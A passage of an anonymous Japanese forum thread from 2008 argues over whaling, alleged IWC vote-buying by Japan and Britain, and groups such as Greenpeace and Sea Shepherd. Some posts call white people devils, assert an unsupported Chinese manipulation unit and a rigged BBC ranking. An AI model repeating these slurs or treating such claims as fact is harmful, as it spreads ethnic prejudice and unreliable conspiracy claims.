そんなことやったら、欧州連合内にも少数ながら存在する商業捕鯨賛成派から 欧州司法裁判所に提訴されて、英国政府なり、欧州委員会が敗訴します。 320 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 19:21:55 ID:5i2/P51X0] 抽出 ID:51li1Puh0 (6回) 抽出 ID:OFzsnppD0 (8回) 最近春だな　ｗｗ　全力スルーお願いします。　過去スレの流れすらとばしてる春厨ｗ 321 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 19:45:04 ID:KosF3HH10] 過去スレの流れからいうと、YouTubeの反捕鯨側と日本側で、説得力のツボに どう違いがあるのか、というあたりが気になるとこだったんだね。 両方ともイメージ系が多い中で、グリーンピースのフーテージが理論的な 争点をクリアにしたんで、話が難しくなったわけだ。どーすりゃいいの？ 322 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 20:00:02 ID:y25n9EsX0] >>315 その台詞、ポール・ワトソンにも言ってやってよ 通称ヨーコさん 323 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 20:03:17 ID:y25n9EsX0] >>319 ＞そのようなバイアスのかからない参加国を増やし、正常化するというのが英国 あんた、どこのまわしもんか知らんが、 その悪魔じみた日本国像はいったいどこから仕入れてきたんですかねｗ それと天使のように穢れのない英国像もねｗ　はっきりいって気持ち悪いよあんたら 324 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 20:12:15 ID:9/YsQM+D0] グリーンピースジャパンの代表に恐喝・暴行の前科 　当時の報道では、8月2日付で次のように記されている。「会社員の顔をたたくなどしてけがをさせ、 6年前の事件の心理的な傷の治療費として約100万円を脅し取ろうとした疑い」。 　日頃は「民主主義的な成熟した討議」を掲げるはずの市民団体関係者が、 こんなことでよいのかと思わずにはいられない。 www.tanteifile.com/newswatch/2007/11/17_01/index.html 325 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 20:21:17 ID:/yGAyR7s0] >>306は動画製作に使えそうだねw >>319 ＞そんなことやったら、欧州連合内にも少数ながら存在する商業捕鯨賛成派から ＞欧州司法裁判所に提訴されて、英国政府なり、欧州委員会が敗訴します。 貴方達が言うには日本はその逆をやってる訳でしょ？ どうして何年も前から「日本は買収してる！！」なんて言いながら誰も提訴せず、 だからこそ敗訴もしてないのは何故ですか？ 「捕鯨賛成小国」も貴方の言うように自由意志で捕鯨賛成票入れてるだけ なのに何故賛成側の買収だけ疑い、反捕鯨側の買収は無い、言い切れるの？ クロアチア、キプロス、エストニア、ギリシア、ラトビア、ルーマニア。 どこも大なり小なり情勢不安抱えてる小国ばっかw クロアチアやエストニアなんか絶対クジラ保護なんか気にしてる場合じゃない国だよw 「EUに加盟させないぞ！！」とか「NATOに空爆させるぞ」とか脅して反対票 入れさせてるんじゃないのぉ？w 326 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 21:33:56 ID:HMFl2vhc0] >>322 シーシェパの方こそ撃たれたとかいくらなんでもありえない嘘ついてるんだが 327 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 22:06:58 ID:y25n9EsX0] 自ら船に乗り込んで「人質を取られた。テロだ」と断定してたよね。 それで世界は騙せても日本人は騙せなかったねｗ 328 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 22:33:17 ID:L07lPakI0] >どうして何年も前から「日本は買収してる！！」なんて言いながら誰も提訴せず、 >だからこそ敗訴もしてないのは何故ですか？ 欧州司法裁判所と違って、国際司法裁判所の場合は被害国、この場合は買収され、 政府の方針を歪められたとする国の提訴がなければことがはじまりません。 したがって水産庁（およびその出先の外務省水産室）はカリブ海諸国の政権担当者 選挙区に補助金事業をおろすばかりでなく、政権交代の可能性のある野党有力議員の 選挙区にも、水産土木事業をあらかじめ約束しておくのです。 329 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 22:43:09 ID:9/YsQM+D0] >>328 おいおい、水産庁は巨大シンジケートかよｗ どこまで、電波なんだｗ 330 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 22:46:54 ID:/yGAyR7s0] >>328 なんだかんだいって、日本の買収なんかじゃないんじゃ〜んw 「疑わしい」ぐらいのレベルで「買収だ！！」「違法だ！！」って騒いで 実際はいつまでも、何にもやんない、やれないのが貴方達のモノ哀しさだよね〜〜w EUのは立派な脅迫、もとい買収みたいですけどwwww 331 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 23:01:13 ID:51li1Puh0] 嘘つき。 332 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 23:06:04 ID:y25n9EsX0] 見返りのない政治的要求なんてあるはずねーだろ 国家を舐めてんのか 大英帝国がどーやって植民地を抱えてきたか 英国に自分勝手な天使像を投影してる痛いお子ちゃまは、 よくよく歴史を勉強しろや 333 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 23:06:51 ID:nOLGOHV50] >>328 水産庁よりもＧＰの方が金持っていそうだ 334 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 23:14:11 ID:4G+N5Z7j0] だいたい白人は悪魔だ。いろいろな国の先住民を中国みたく殺しているくせに。 中国みたいな最低な国だな。白人は悪魔だな。アメリカ、オーストラリア、イギリスなどなど 335 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/02(水) 23:23:19 ID:o5YhABvD0] >したがって水産庁（およびその出先の外務省水産室）はカリブ海諸国の政権担当者 >選挙区に補助金事業をおろすばかりでなく、政権交代の可能性のある野党有力議員の >選挙区にも、水産土木事業をあらかじめ約束しておくのです。 これは良いねぇw では、どの国のどの議員の選挙区の何の事業に、何時どれだけの金が投入され、 そしてそれが与党側になった、という例を5つほど、証拠を添えて列挙してみてちょw 336 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 23:51:01 ID:8AeidPec0] JAPAN’S “VOTE CONSOLIDATION OPERATION” AT THE INTERNATIONAL WHALING COMMISSION: WINNING A MAJORITY IN ST KITTS AND NEVIS, JUNE 2006 Third Millennium Foundation 水産援助プロジェクトは非常に目立ち、数百万、数千万ドルの建造物になるという特徴があるため、 小国ではどこにこれを持ってくるかということが、国内政治の争点になりやすい。 援助施設の場所決定が、首相や政府閣僚の選挙区とリンクされるようになると問題が発生する。 オブザーバー紙はドミニカで、歴代３代の首相選挙区に援助案件がオファーされたと報じている。 （The Observer, 13 May 2001, “Save the Whales? Not if Japan’s bribes pay off”, by Anthony Browne.） アサートン・マーティンの説明によると、「90年代半ばには当時の首相、マリー・ユージニア・ チャールズの選挙区に日本の漁業施設建設は認可された。第二の日本の援助物件、漁業関連施設は 90年代後半にエディソン・ジェイムズ首相に対して約束された［この施設は、ジェイムズ政権が IWCでの日本支持について、ブレを見せたため、約束の期限には建設されなかった。ドミニカが 完全に日本と連動するようになった2002年に、ようやくこれは無償援助となった］。 日本の無償援助は故ルーズベルト・ダグラス首相の時にも約束された。施設はダグラス氏の選挙区 に建てられることになった。ここには援助と援助約束のパターンがあって、首相の選挙区の位置に よってそれが巡回移動している。そもそもの漁業部門発展にとって、意味ある理由付けがあるわけ ではない。」（BBC “Newsnight”, transcript of interview with Atherton Martin, November 2000.） これは1999年のIWCグレナダ会議に際して、日本がジャマイカに対して取った戦術と同じである。 ジャマイカはIWC代表団名簿に登録し、会議書類にも枠が与えられるというところまでことは 進んでいた。会議の直後にジョン・マクスウェルがジャマイカ・オブザーバー紙に書いている、 「日本は最近ジャマイカ首相の選挙区に漁業施設を完成させた。日本側は我が国水産省から、 ジャマイカ票はもう簡単に手に入ると知らされたにちがいない。幸か不幸か、水産地下世界の人々 は、ここではアンティグア、セントルシア等々とはちがい、実際に外交政策を決めるのが誰か ということを当のパターソン（当時首相）あるいはマリング外相（当時）に確認するのを忘れて いたのである。」（ Jamaica Observer, May 1999. “A Whale of a Story” by John Maxwell.） 337 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 23:54:58 ID:8AeidPec0] 2001年IWC会議２週間前を過ぎてから、セントクリストファー（サンキッツ）・ネイヴィスは 日本政府とニュータウン、バセテールの水産センター建設についての交換公文をかわした。 この合意は与党労働党の大判宣伝紙Labour Spokesmanに大きく取り上げられ、「（労働 党の）2000年選挙公約、東バセテール、オールドロード、ディエップ湾およびその他 のサンクリストフアー漁業市町村に近代的漁業施設を、というスローガンが実現した」 と喧伝された。このプロジェクトはこの区域を選挙区とする当時の環境相、アール・ アシム・マルティン氏（Minister of Public Works）の発議によるものであり「内閣の閣僚と 協力してこれを確実なものとし、2000年の労働党総選挙マニフェストにこれが拡大 された形で織り込まれた」（The Labour Spokesman, St Kitts, 11 July 2001）と説明されている。 ここでは日本が資金手当する漁業施設のオファーが国政政治家の選挙民への公約となり、 日本との計画段階の約束が国政選挙の結果に影響を与えるものとして効力を発揮して いるのだ。 338 名前：名無しさん＠お腹いっぱい。 [2008/04/02(水) 23:56:56 ID:8AeidPec0] もうひとつの顕著な例はふたたびドミニカである。2001年5月下旬、IWCロンドン会議の２ヶ月ほど 前にドミニカの首相、ピエール・チャールズがラジオ・インタビューで、ドミニカのIWCでの投票は 「会議そのものにおいて明らかにされるだろう」と発言した。これはすでにオーストラリア／ ニュージーランド提案の南太平洋鯨禁漁区に反対票を投ずると表明していた東カリブ諸国政府とは 対照的だった。 （AP Worldstream, 3 June 2001） 彼はまた、ロンドンでドミニカを代表する主席政府代表として、2000年に辞任したアサートン・ マーティンの後任として水産大臣になっていたロイド・パスカル以外の人物を指名する意図の あることをほのめかした。チャールズの発言は首相自身の選挙区ポーツマスの労働党ポーツマス 支部から党内全体に激しい論争を引き起こした。このポーツマスで、日本援助による漁業施設建設 が予定されていたからである。 339 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 00:02:16 ID:8AeidPec0] セントヴィンセント・ヘラルドによると、ポーツマス支部は首相に対し、日本を支持してサンク チュチャアリ案に反対し、パスカルをIWC代表に再任することを強く要望する決議を出した。 「政府がこれまでの捕鯨賛成のスタンスを変えれば、すでに予期されている北の町ポーツマスと、 北東の村マリゴットの日本政府援助による漁業施設計画を犠牲にすることになるのではないか、 という恐れが会議を支配した。同様の危惧を表明して野党、連合労働者党（UWP）も水曜日に、 週のうちにマルゴットでこの問題を議論するための公開討論会を開くと告知した。 マルゴット選挙区選出の野党党首、エディソン・ジェイムズはドミニカの必要に関して政府は 鈍感だと批判した。＜これは単にポーツマスの問題だけではない、国民的課題である。実際、 マルゴットの住民、そして北東部の住民すべてがこの問題に関心を持っている＞とジェイムズは カリビアン・ニュース・エイジェンシーに語った。 ジェイムスは彼の選挙区ですでに先週、４月に始まっているべき漁業施設の作業が遅れているのは、 政府の「優柔不断」のせいであると非難した。（ St Vincent Herald, 4 June 2001） 他のところでエディソン・ジェイムズは「われわれは日本と関係を持っている、われわれが違う 決定をする前に、彼らがここに来て、首尾よくいろいろな約束を実行できるようにしてやるべきだ」 と語ったと伝えられている。（St Vincent Herald, 1 June 2001） 340 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 00:05:41 ID:C6zE13cs0] こういうところが哀しいんだよね、クジラ哀誤団体の人って。 341 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 00:05:41 ID:A6bH6MMN0] 興味深いことに、このリポートの他のところで注意を喚起している人物、アンティグア・バブーダ のデイヴン・ジョセフが、このドミニカの選挙区集会にも出席しているのである。 彼は参加者たちに対して、もしドミニカがIWCを欠席するか、あるいは棄権するならば「ドミニカ は開発のチャンスを失うだろう」と語りかけた。さらに彼はアンティグア・バブーダがIWCで日本勢 に加わってから得たさまざまな利得を数え上げた。「アンティグアは1996年以来、日本資金による 大型プロジェクトの恩恵を受けている。たとえば水産施設、バスターミナル、セントジョンズで 実行可能性調査が進んでいる下水システムなどがある。しかしドミニカが日本の援助を受ける場合 の障害は、歴代内閣のふらついた立場にある」と彼は言った。（St Vincent Herald, 1 June 2001） 342 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 00:10:28 ID:A6bH6MMN0] 結局ドミニカはロンドンのIWC会議で南太平洋鯨禁漁区案に反対票を投じた。この票を投じたのは すでに水産大臣ではなくなっていたが、ドミニカ政府代表としてのロイド・パスカルだった。 IWC会議の前の週、首相と彼の新水産相、ヴァンス・ヘンダーソン（Vince Henderson）は ７日間の日本訪問旅行をおこなった。この旅行の成果として「2002年3月末以前に日本から 技術協力派遣団をドミニカへ送り、ポーツマスの漁業プロジェクトの実行可能性調査を行う．．． 首相［チャールズ］．．．は日本の確定した長期方針、一時に一つのプロジェクトだけを行う という方針は変わらないと言っている。マリゴットの水産プロジェクトはルゾーの修復作業が 終わってから開始ということになる。ドミニカのリーダーは国の日本との友好関係を「温かい」 ものと表現した」（Dominica Chronicle, 27 July 2001） 出席者個人のことについては、多くのIWC観察者が記述をしているが、援助受け取り国の政府代表 たちはIWC会期中、日本代表団およびその同伴者たちの綿密な監視下にある。オブザーバー紙 によると、「IWC会議で日本は、島嶼国の代表団員たちに対して後見人役としてその戦術を遂行 している。＜彼らは代表団員たちに一刻として自由を許さない。カクテルパーティーの時に さえそうである。うんざりだ。ぞっとするほどだ、これはもう植民地主義を超えている＞と ［アサートン］マーティンは言っている。」（The Observer (U.K.), Browne, op. cit.） ジョン・マクスウェルは東カリブ海諸国IWC代表団の記者会見に2001年IWC会議の初日、出席 した。彼の記述によると、発言者たちはこの機会を利用して票買いの非難を打ち消そうとした。 「独立して、自立的なカリブ海諸国は彼らの記者会見を日本のミーティングルームで行った、 彼らの調教師に至近から見張られながら．．．．．」（Jamaica Observer, 29.07.2001, op. cit.） 343 名前：339 [2008/04/03(木) 00:13:08 ID:A6bH6MMN0] >>339 訂正＞日本を支持してサンクチュチャアリ案に反対し ー＞日本を支持してサンクチュアリ（鯨保護区）案に反対し 344 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 00:23:24 ID:H/VLn56G0] ジャマイカやグレナダ、それにドミニカ これらの国々はまわりが海に囲まれた島国じゃない。 日本は水産大国としてそういう国々（途上国）に水産技術を支援し、 自活できるようにしてきたわけだ。 捕鯨問題での日本の立場ははっきりしていて 「海に生きる動物も魚も資源として有効利用できるし、 自国の資源で経済活動（商業行為）を行うことは当然」という考え方だね。 なんというハートフル・ストーリーｗ ODA諸国が捕鯨賛成派になるのもうなずけるね。 これを国際貢献といわずしてなんというのだろうか。 一方、反捕鯨国は 「海洋生物は人間に殺されるために生まれてきていない」 「残虐な虐殺に”みえる”からかわいそう」 「野生生物を殺してしまっては彼らが普段どのように生きているかわからなくなる」 「野生生物は人間にとって資源（食べ物）ではない。」 感情論が先行したわけだ。クジラと関係ない国がなぜIWCで反捕鯨国なんだろうねｗ 345 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 00:34:45 ID:C6zE13cs0] >>306の、 ＞英国政府がブルガリア、クロアチア、キプロス、エストニア、ギリシア、 ＞ラトビア、リトアニア、マケドニア、モンテネグロ、セルビアに対して、 ＞反捕鯨国としての国際捕鯨委員会参加を外交ルートを通じて申し入れたこと、 これは酷いと思うよ、イギリスのやり口。 欧州選りすぐりの貧乏国ばっかり集めてさ・・・ 旧ユーゴやバルト3国なんか金で釣らなきゃ何で釣るのよ？ 直接金じゃなきゃそれこそNATOの脅しかEU仲間外れの脅迫でしょうよ。 穢い穢い、汚れた要請だよ・・・ 346 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 00:36:41 ID:H/VLn56G0] 日本は、途上国が自国の水産資源を用いて 経済的自立を果たし自活できるようにカネ・技術の両面から支援した これらの国々は自発的に捕鯨賛成国となりIWCに加盟した 一方、反捕鯨国は、捕鯨と関係ない 小国相手に脅迫と恫喝で迫り、IWCで組織票を集めたとさ この差は大きいよ〜 347 名前：１２９ [2008/04/03(木) 00:42:45 ID:umrNtTnE0] だからね〜、日本はプロバガンダが下手なのよほんとに。 イギリスという国はさすがに一時代を築いた国だけあって、多少汚かろうと 自分の趣旨に全体を持って行くのがほんとにうまいわ。 日本もそのへんは見習ったほうがいいと思うよ。 348 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 01:05:48 ID:EHkkLyZo0] >>344 >日本は水産大国としてそういう国々（途上国）に水産技術を支援し、 >自活できるようにしてきたわけだ。 >捕鯨問題での日本の立場ははっきりしていて >「海に生きる動物も魚も資源として有効利用できるし、 >自国の資源で経済活動（商業行為）を行うことは当然」という考え方だね。 >なんというハートフル・ストーリーｗ その立派な日本の水産行政で、肝心の日本漁民はシアワセになったのかな？ 349 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 01:10:20 ID:gv9Yn8Xp0] はいはい、ワロス。白人の買収はきれいな買収ね ＞自立的なカリブ海諸国は彼らの記者会見を日本のミーティングルームで行った、 彼らの調教師に至近から見張られながら．．．．．」 調理師ってｗ 350 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 01:23:41 ID:fh4U2WZD0] >>349 白人が有色人種を見るときの感性がよく判る発言だよね 351 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 01:29:31 ID:H/VLn56G0] ソースが全部ＢＢＣってのが笑えるよな シーシェパード専属の特派員かかえて、 彼らの捏造報道を日々大々的にプロパガンダしてる局でしょここって これも立派な布教活動の一環なんだろうなとしか思えないね 巧みに事実が歪曲されてたり捏造されてるんだろうなと勘ぐってしまうよ 352 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 01:40:25 ID:c4FVQGiL0] >>348 環境ヤクザに漁業活動を妨害されて困ってるよ 353 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 02:12:44 ID:H+jPm9+50] シナNet世論工作部隊２chで活動中 4/2のalexa.com/data/details/traffic_details/2ch.net 2ch.net users come from these countries: Japan 86.3% China 6.5% 　←日に日に上昇中 United States 1.0% Hong Kong 1.0% Taiwan 0.8% 分析されてる主な活動内容 ・人大杉状態でライトユーザーを情報封鎖 ・チベット関連スレの不利なスレを下げる ・混乱工作の為センセーショナルなスレを上げる ・各スレ内で世論誘導 ２ちゃんねる専用ブラウザ これを使えば人大杉は回避できます janestyle.s11.xrea.com/ 354 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 02:24:28 ID:EHkkLyZo0] >>350 あのねえ、「調教師（handlers）」て言葉使ったジャマイカ・オブザーバーの主筆って、 www.haitiaction.net/Media/JPEGs/JMaxwell.jpg img380.imageshack.us/img380/3775/maxwellhouse4qg.jpg こういうオヤジだよ。名前がエーゴだとみんな白人になっちゃうのかw >>351 >ソースが全部ＢＢＣってのが笑えるよな St Vincent Herald とか　Dominica Chronicle　やJamaica Observerて、全部現地の 新聞なんだけどね。この程度のメディアリテラシーでようつべにうpすると、逆に日本の 恥になるな。 355 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 04:38:26 ID:DTjnR+Gm0] 真の敵はシー・シェパードでもグリーンピースでもない。 BBCです。 356 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 04:42:18 ID:63Y0c1kE0] ミートホープを復活させて、クジラ肉を牛肉に偽装してイギリスに輸出するという、俺の案はどうだろうか。 357 名前：水産無償資金協力“ヒモ付き援助” mailto:　 [2008/04/03(木) 04:59:01 ID:Lo+/3Hjf0] このセントキッツ、実は日本の捕鯨に賛成の立場を取っています。詳しいことは分かりませんが、 昨年１０月セントキッツのダグラス首相が日本を公式訪問し小泉首相と会談した折にも、捕鯨問 題などについて話し合われています。日本側としては、セントキッツにボートヤード、水揚げ桟 橋、スリップウェイ、地域漁業センター棟などの施設を無償資金協力で建設することの見返りと して、日本の捕鯨に賛成して欲しいとの思惑があるようです。現在、JICA（国際協力機構）から の契約で日本の業者が入って工事を進めています。その首都近郊の施設とは別に、首都・バセテ ールにも日本政府の資金によってすでに建設され利用が始まっている、バセテール漁業複合施設 があります。先日行ってみたのですが、これまでの習慣に慣れている現地の人たちは新しい施設 利用に抵抗があるのか、あまり利用されていないとのことでした（現地住民談）。 政治目的の援助に関しては必ずしも悪いことだとは言いませんが、現地に受け入れられないもの を作っても、税金の無駄遣いです。ちゃんと施設利用者を含む現地住民参加型の事前評価調査は したのでしょうか。気になるところです。政治目的も達成し（日本の国益を追求し）、かつ現地 の住民にも受け入れられる援助をすることが、これからの援助のあり方になるのではないかと思 います。まあもっとも、国益追求とは言っても果たしてどれくらいの日本人が鯨の肉を食べたい と思っているかは分かりませんが・・・。それとも、捕鯨を続けるのには別のもっと重要な理由 があるのでしょうか。 ksaotome.exblog.jp/3611671/ 358 名前：水産無償資金協力“ヒモ付き援助” mailto:　　 [2008/04/03(木) 05:01:37 ID:Lo+/3Hjf0] 先日は日本政府代表団の方々も来てくださり、ここの政府は日本側に付いているが、現地の人々 の捕鯨に対する理解度は極めて低い、というよりもむしろ、クジラを食べるなんて可愛そう、信 じられないという人がほとんどであることなどを伝えると、会合の方も厳しくなるな、などと仰 っていました。 ksaotome.exblog.jp/3966018/ 359 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 05:06:10 ID:H/VLn56G0] クジラを食べたいかどうかが問題じゃないでしょ、捕鯨問題って。 野生生物を食料資源とみなせるかどうかの問題でしょ。 海に棲む生き物も食料と考えるのが日本人なのね。 イカやタコにマグロ、刺身になるネタは数知れず。 それがわかったら、さっさと商業捕鯨を認めて沿岸捕鯨を再開させろや。 360 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 05:20:23 ID:4/oQQ7CW0] ＞イカやタコにマグロ、刺身になるネタは数知れず。 ＞それがわかったら、さっさと商業捕鯨を認めて沿岸捕鯨を再開させろや。 イカタコマグロは卵で一度に大量に増えるし、大人になるのがはやいから、ちょっと 捕獲調整すれば資源回復するけど、鯨はそうじゃないでしょ？ 1970年代終わりまで、漁業の感覚で無茶苦茶に捕って資源を壊滅状態に 追い込んでた人たちが、鯨まだ一世代たったかたたないかのうちに、ちょっと 増えた（らしい）からといって、また猛然と捕りだしたらどうなるかって．．． しかも、１０年前にミナミマグロで嘘付いて、南太平洋のマグロ資源に決定的 な打撃与えた小松政之さん、森下丈二さんのイニシアティブじゃあねえ。 361 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 06:21:33 ID:H/VLn56G0] あんたの懸念はもっともだが、 管理体制を構築すりゃ済む話なんじゃねーのそれって 362 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 06:27:56 ID:YWlNRd070] 確かに小松、森下では信頼ないかも。 でも、クジラの数、増えてんでしょ？特にミンク。 反捕鯨側の言い分は、「かわいそうだから殺すな」 捕鯨側、特に日本は、「資源の有効利用」をしよう。 「資源の有効利用」が「クジラを絶滅に追いやる」にはならないよ。 管理していればね。 そのためにIWCがあるんでしょ？ 363 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 06:38:02 ID:H/VLn56G0] 反捕鯨派の話って、捕鯨産業の発展に向けた取り組みではなくて、 商業捕鯨を永遠に凍結するための政治的施策にしかみえんのよ正直 「日本は信頼できない」とか言ってるのは駄々を捏ねてるのと一緒で、 日本を信頼してしまったら商業捕鯨再開を認めてしまうことになるから、 でも感情論ではそうなって欲しくないから信頼できないとだけ言っておこう という思考パターンがはたらいているように思えるわけだが 364 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 06:38:42 ID:u7nIQI8CO] オーストラリアはカンガルー殺すって聞いたけど 何故くじらは駄目なんだろ？ カンガルーも希少とか抜かしてたくせに＾ ＾ カンガルーを殺す数決める見たいにくじらも漁獲量も決めたらいいと思うんだけどなぁ＾ ＾ カンガルーはよくてくじらは駄目 なんかおかしいよね＾ ＾ 365 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 06:47:18 ID:YWlNRd070] 日本の小松、森下がアホーなのと同じように、IWCの欧米諸国の捕鯨代表も ろくでもない。 本来のIWCの目的が見失われているのが問題なんだよ。 GPに操られているだけ。 こんなんで、まともな会議ができるはずない。 でも、日本がIWC脱退したとしても、バトルは激しくなるだけだよ。 366 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 07:04:26 ID:YWlNRd070] 野生動物保護なんてのは、衣食住になんの不便もなくなった人たちの新しい娯楽。 お気に入りの動物だけ保護しても環境保護にはならない。 生態系の中に人間の活動（衣食住、遊び、などなど）も入れた日本の考えは、西洋の イデオロギーにはない。どっちが正しいとは言わないよ。 でも、こういう日本の考え方や取り組みを、他の国にも伝えられるODAは、 意義があると思う。 367 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 07:16:59 ID:H/VLn56G0] あーそれから、商業捕鯨再開のために両者が歩み寄り協議されては これで飯喰ってるグリンピースなんかは商売上がったりだから困るよね。 いままで散々「調査捕鯨は商業捕鯨の隠れ蓑だ」といってきた連中が、 その主張の前提を覆されるわけだから。 商業捕鯨再開に向けた日本政府の取り組みを非難できなくなるし、 これまでの虐殺イメージ戦略が無効化してしまう。これを防ぐためには 捕鯨行為そのものが根源的な悪として表象化されなければならないし、 そのようなアピールを視覚的にわかりやすく訴え、人間の感情を操作しようとする 反対に捕鯨保護活動は、人間の究極の理想、倫理の核心でなくてはならない。 そういうシンボル化のプロセスこそが活動母体の活動指針になっていくわけだ。 よれ故、IWCが本来の設立趣旨に則って 問題解決の方向に向かっちゃマズいわけだよね。グリンピース的には。 そう考えると、捕鯨問題における最大の癌は 民間の捕鯨保護団体ってことになるわけだが。 この問題における最大の受益者でしょ彼らは。 368 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 07:18:55 ID:gv9Yn8Xp0] 反捕鯨論者の言っていることは、まさに「木を見て、森を見ず」だよな。 369 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 07:24:53 ID:KPERaXCF0] 森を見ると都合が悪いのであえて木ばっかり見てる感じだなｗ 370 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 10:16:35 ID:3UMDelTE0] 米通商代表部（USTR）は28日、2008年版外国貿易障壁報告書を議会に提出した。 日本関連では郵政3事業の民営化進展状況について「引き続き監視する」として、 米系保険会社や運輸会社との公平な競争条件の確保を求めるとしている。 また、くすぶり続ける米国産牛肉問題では、 月齢制限なしでの貿易を認めた国際獣疫事務局（OIE）基準を「日本が採用しないことを大いに懸念している」と指摘。 「全面的な市場開放に向け精力的に取り組む」と改めて強調した。 日本は米国産牛肉輸入を生後20カ月以下の牛に制限している。 日本の記述は25ページで07年版に比べ、7ページ減り、対日通商案件の減少ぶりを示している。 同報告書は年に1度、貿易相手国・地域の通商課題を列挙する形で公表される。 headlines.yahoo.co.jp/hl?a=20080329-00000053-jij-int 【国際】日本の郵政民営化を「引き続き監視」、牛肉市場開放に全力…米USTR年次報告[3/29] mamono.2ch.net/test/read.cgi/newsplus/1206769468/ 85 名前：名無しさん＠八周年[] 投稿日：2008/04/03(木) 09:42:28 ID:+kMGbxNlO アメリカ産牛肉を全面解禁したら オージーからの反捕鯨の声も小さくなるんじゃね？ 371 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 11:08:09 ID:3UMDelTE0] 490 名前：名無しさん＠八周年[] 投稿日：2008/04/03(木) 10:04:35 ID:cx6BiavL0 ■ＢＢＣの好影響度ランキングでは一定の操作がなされている それは ★白人国家を必ずトップに持ってくること★ ▼１年目　 調査結果を集計したら日本がダントツの１位だったので、アジア人に白人特に欧州国家が 負けるのは容認できないということで、無理やりＥＵ枠をこしらえて国ではないＥＵを 実質トップにした。しかも１位のＥＵの調査資料だけ、どこにもないｗ　決定的ｗ ▼２年目 日本が単独１位になるのがわかったとたん、突然カナダが登場ｗｗ　１位になったｗ そもそもカナダは調査対象ですらなかったので、当然、カナダの調査結果だけ、どこにもないｗ ２年連続で１位の白人国家の調査資料のみ開示できないという、大失態を演じたｗ ▼３年目 調査結果を集計したら日本がダントツの１位だったので、ドイツの票を水増しして 良い影響の票を日本と同数１位にし、悪い影響の票を日本より少なくして ドイツを実質トップにした。 ２年連続して工作の痕跡を残してしまった為、この年はしっかりと１位のドイツの調査結果 も開示したが・・・ ３年連続１位に２カ国が並んだのは不自然。そんな偶然が何年も続くことは ありえない。また、昨年、突然降って湧いたように登場した１位のカナダが、また消えているｗ ということで状況証拠的には今年も完全にクロｗ この調査はあくまで好影響度のランキングなので日本が３年連続世界一であることに 変わりはないが、トータルでは白人国家が日本の上にくるように毎年、操作している。 これは、スポーツで日本に勝てなくなった白人国家がルール改正して、勝とうとする のと同じ構図　Ｆ1　スキー　柔道・・・など枚挙にいとまがない 372 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 13:52:02 ID:YWlNRd070] あまり「白人」に目くじら立てるのも無意味かと。日本に好意的な白人も いっぱいいるよ。 日本のソフトパワーは世界１だよ。漫画やアニメ、日本の伝統芸能などね。 捕鯨問題はお互いのイデオロギーのぶつかり合いで、話し合いで解決するのは 難しいよね。 捕鯨以外の分野、たとえばエネルギーや環境対策、貧困削減や異文化理解等、 世界平和に向けて日本が注目されていくことをせつに願う。 373 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 14:36:22 ID:TKj7DagtO] イヌイットの伝統的な食文化を守るためにアラスカだけ商業捕鯨を認める動きがあったと思うけどあれどうなったの？ 374 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 17:21:48 ID:8A774Wwd0] ＢＢＣはクズだ、 だがこの記事はいい線行ってると思う news.bbc.co.uk/2/hi/science/nature/6667907.stm 反捕鯨派の人にももっと読ませよう 375 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 18:37:25 ID:H/VLn56G0] >>371 昨年だか二年前だかに、捕鯨賛成か反対か、公式サイトでネット投票行って 賛成派が圧倒的に優位になった途端、「賛成」と「反対」の項目名だけを 